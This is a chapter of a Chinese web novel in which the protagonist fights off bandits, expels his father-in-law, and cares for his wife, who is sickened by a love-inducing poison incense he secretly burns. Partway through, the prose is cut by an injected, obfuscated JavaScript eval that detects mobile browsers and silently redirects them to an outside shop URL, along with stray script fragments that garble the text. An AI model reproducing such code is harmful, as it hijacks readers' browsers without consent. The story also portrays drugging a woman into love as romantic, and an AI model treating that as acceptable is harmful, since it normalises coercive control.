阴渡苦单手勒住闻婵的腰,带着她往旁边躲去,另一只手挡住男人挥下来的大刀,一声闷响,阴渡苦纹丝不动,倒是男人手腕被震的一抖。
“什么?!”
在男人震惊之余,阴渡苦翻腕握住男人的手腕,五指用力,清脆的骨裂声在屋内响起。
男人撕心裂肺喊着,握着自己弯曲的手,疼得原地直打滚。
虎爷骂了一声,一脚踹开地上挡路的废物,带着众人冲了上去。
阴渡苦松手,让闻婵找个角落躲好,随后就赤手空拳冲了上去。
闻婵下意识缩在角落,胸口闷得慌,尤其是刚才自己的举动,大胆地让她自己也不可置信。
她为什么会上去帮阴渡苦挡刀?
为什么要冒着会死亡的风险,去帮他挡刀?闻婵胸口跳得急促,这股劫后余生的恐惧太强烈,太浓重,陌生得不像自己。
阴渡苦消瘦的身姿在数十个彪形大汉中灵活穿梭,骇人的大刀仿佛成为了无用的累赘,在阴渡苦躲避之中不是挥空就是劈向自己人,一时间惨叫连连起伏。
阴渡苦四肢有力,挥拳、横臂、扫腿动作敏捷连贯,赤手空拳就把这些人轻松碾压。
闻婵从没见过阴渡苦会这些打斗技巧,在她的印象里,阴渡苦虽然手段残忍利落,但总是要借助陷阱和趁手的刀。
虎爷整个人是飞出去的,倒在厚厚的雪里起都起不来,屋子里乱糟糟的,地上横七竖八躺着只能哀嚎的山贼。
阴渡苦侧头,看向躲在一边的闻父。
闻父浑身一抖,再也坚持不住地瘫倒在地上,像是在看什么怪物一样看着阴渡苦。
虎爷从雪里艰难地爬起来,脑袋被阴渡苦一拳头打破,血流了满脸,此刻正捂着头用山语骂着人,闻婵听不懂。
闻婵只看到阴渡苦不屑地扯了扯嘴角,活动着手腕走到门口,语气比这寒风还要冷上几分:“你再骂一句,信不信我徒手撕了你的嘴。”
虎爷浑身一惧,脸上控制不住地抽搐,他脸色铁青,大喊:“走!走!你给我等着,等着!”
屋子里的山贼互相搀扶着往屋外走,但阴渡苦又堵在门口,那群人是又想走又不敢走,只能在原地踌躇着看阴渡苦脸色。
阴渡苦没说,旁边的闻父出声了,急忙忙道:“不能让他们走啊,这群山匪心是黑的,他们肯定记仇上了,放他们走回去带人屠村怎么办啊!”
虎爷脸都黑了,指着老头骂:“你个老骨头,说什么呢你!我保证,只要你放我们走,我们保证不下来闹事!”
阴渡苦本来就没打算在这杀人,便说:“此话当真?”
闻父急得直拍腿:“不能信山匪的话啊!不能信啊!”
虎爷看向闻父的目光仿佛淬了毒,恨不得现场就把这个死老头子千刀万剐,然而面对阴渡苦的时候,姿态瞬间放低,连连点头:“当真!当真!”
阴渡苦侧过身,抱臂靠在门上:“滚吧。”
闻父只能看着眼睁睁山匪消失在雪夜里,愤恨道:“这群山匪最不讲道理,你把他们放走,他们还是会来闹事的!”
阴渡苦关上门,隔绝了寒冷:“伯父的意思,是要我杀了这群人吗,尸体怎么处理?山寨下来找人,你是不是还会像今天这样,带着他们来找我,说是我杀的。”
闻父脸瞬间白了,他试图狡辩:“不是女婿…..”
阴渡苦没再理他,回头看向躲在角落的闻婵,女人几乎是靠在墙上才勉强站稳,脸上没有一丝血色,明显被吓狠了。
想起刚才女人瘦小的身影突然挡在自己面前,双唇害怕地抿紧,一副视死如归的模样,阴渡苦心中微微有些异样。
这个女人明明很宝贵她这条性命,为了活下来,不惜做出弑夫之事,现在却甘愿冒险用自己的性命来保护夫。
凭什么?
阴渡苦莫名有些不爽,虽然这副身体和自己长相差不多,但面部还是有一些细微差别。
燃情心会让女人没有任何防备地爱上蛊主,可在看到闻婵满含爱意的瞳孔倒映出原身的脸时,阴渡苦还是有些烦躁。
她要爱的不是这具之前想杀了她的身体,而是这具身体里新主,阴渡苦。
阴渡苦走到闻婵旁边,女人仿佛再也无法坚持一般,彻底倒在了他的怀里。
闻婵胸口又闷又疼,在阴渡苦过来的时候,颤抖的双腿彻底软了下去,幸好被阴渡苦稳稳接住,没有摔在地上。
家里多了爹,闻婵不想在爹的面前表现出自己对阴渡苦的恐惧和惊疑,只能在阴渡苦的搀扶下,轻声问:“他们是怎么找来的?”
闻父当即横眉竖眼:“你这是什么语气?那群山匪把整个村都洗劫了一遍,你家猎物本来就多,说不定那群山匪一来,看到这么多猎物就只拿一点就走了呢!”
闻父看了看紧闭的门,院子里现在还躺着翻出来的猎物,他吞了吞口水,放轻了语气:“婵娘,咱们家的食物都被抢走了,我们饿着不要紧,你弟弟马上都要成亲了,没食物不行的,你难道忍心你弟弟饿死吗?”
事已至此,闻婵哪还猜不到发生了什么,怕是那群山匪搜刮到闻家时,她这个爹就主动暴露了闻婵家货物满满,想以此来让山匪放过他们。
但山匪毒蛇心,自然不会放过他们,搜刮出来食物后还顺带着把人打了一顿,闻父就顶着风雪,把人引到了这里来。
闻婵苦笑一声,心中已是心灰意冷。
阴渡苦的声音在头顶响起:“娘子,给吗?”
闻父抢答:“肯定要给的呀,我们家没食物都活不下去了,丫头,我们可是生你养你的,你不能这么没良心!”
阴渡苦没接话,只看着身下垂着头的女人。
闻父还在不依不饶,扯什么见死不救遭天谴,列祖列宗不会放过你之类的话。
闻婵轻轻摇了摇头。
阴渡苦把闻婵扶着坐下,不废一句话,单手掐住闻父的脖子,连拖带拽地把他推出门,这么短的时间,被抢出来的猎物都盖了一层厚厚的雪,阴渡苦把闻父丢出门口,锁紧院子门。
闻父的谩骂声在风雪中慢慢没了声息,阴渡苦把散在院子里猎物收好,推门进了屋子。
重新点燃炭盆之后,阴渡苦把屋子收拾了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463312|201280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遍,闻婵坐在桌前捂着胸口,明显还没有缓过神。
阴渡苦蹙眉,没想到她会这么不经闹,本还想着等着那群人再来闹事时一锅端了,现在看来自己要主动上山才不会吓到家里的娘子。
闻婵察觉到阴渡苦在看自己,解释道:“家里会有余粮的,爹娘每年冬天从来不会只囤一点。”
阴渡苦点点头:“我听娘子的。”
闻婵额头沁出冷汗,好痛啊,胸口仿佛被什么虫子啃咬着的痛,且痛感越来越强烈。
阴渡苦已经把床铺好了,炭盆重新散发温度,驱散着寒意,但闻婵却心不在焉。
阴渡苦摸着她的脑袋,轻声细语地在说些什么,闻婵一个字都听不清,只觉得他的声音越来越远,同时眼前也渐渐模糊起来。
紧绷的身体猛地一阵剧痛,随后便放松了下来。
闻婵只感觉喉头一甜,一口黑血溢了出来,便失去了意识。
“闻婵?!”
.
风呼雪啸,阴渡苦把微微错位的门修好之后,起身走到床边,闻婵眉头紧皱,她睡得并不安稳,也许梦中是她此生做过最恐怖的梦,一直拉着她不断沉沦,无法挣脱。
阴渡苦知道这是燃情香的副作用,疑心多梦。这些天香粉一直没有断过,若是按照完整的十五毒虫磨成的香粉,是不会有这种副作用。
阴渡苦站定,盯着闻婵看了片刻,伸手把床头的香炉拿下,走到窗边推开一条缝丢了出去。
空气里那股甜腻晕乎的味道很快就散了不少。
闻婵紧皱的眉头也松了松,但脸色依旧很差。
冷风从缝隙传进来,疯狂想侵占这间温暖的小屋,阴渡苦堵在窗边,冷风直冲在他裸露在外的脸和手中,袖口和衣领是毛茸茸的狐狸毛,衣裳里也夹了棉,风吹不进来,身体很暖。
阴渡苦透过窗缝隙,看向窗外白茫茫的一片。黑潭般的眼中倒映不出任何所见的风景,人的眼是心的镜子,你看到春暖花开,你的心就永远生机勃勃,你若看到阴天雨雪,那太阳就不会照进你的心。
闻婵的眼里仿佛装着生机蓬勃的春天,看向她的眼睛时,就像是感受到了温暖,身处草长莺飞的花园,能让人燃起生机与希望。
阴渡苦不一样,他看到的是腥风血雨,眼已经被血染浑浊,波澜不惊的心装不下天下之色,唯有厮杀才能让他短暂的耳清目明,可这次厮杀之后,却感到一股从未有过的怅然若失。
为什么?
阴渡苦百思不得其解,不知道盯着风雪看了多久,直到眼睛被冻得有些不适了才收眼关窗。
阴渡苦看向闻婵,看到她微微瑟抖的肩膀时,像是意识到了什么,快速抬手把窗户关严。
闻婵抖得越来越厉害了,她抱着手臂,整个身子蜷缩起来,看起来可怜极了。
阴渡苦走到床边探了探闻婵的额头,触及一片冰凉,阴渡苦皱了皱眉,解开外衣掀起被子躺了下去,长臂一伸,将闻婵搂进怀中。
夜色已深,阴渡苦感受着怀里渐渐温暖的身躯,缓缓闭上眼,像无数次事后温存般,下巴轻轻摩挲着闻婵的额头。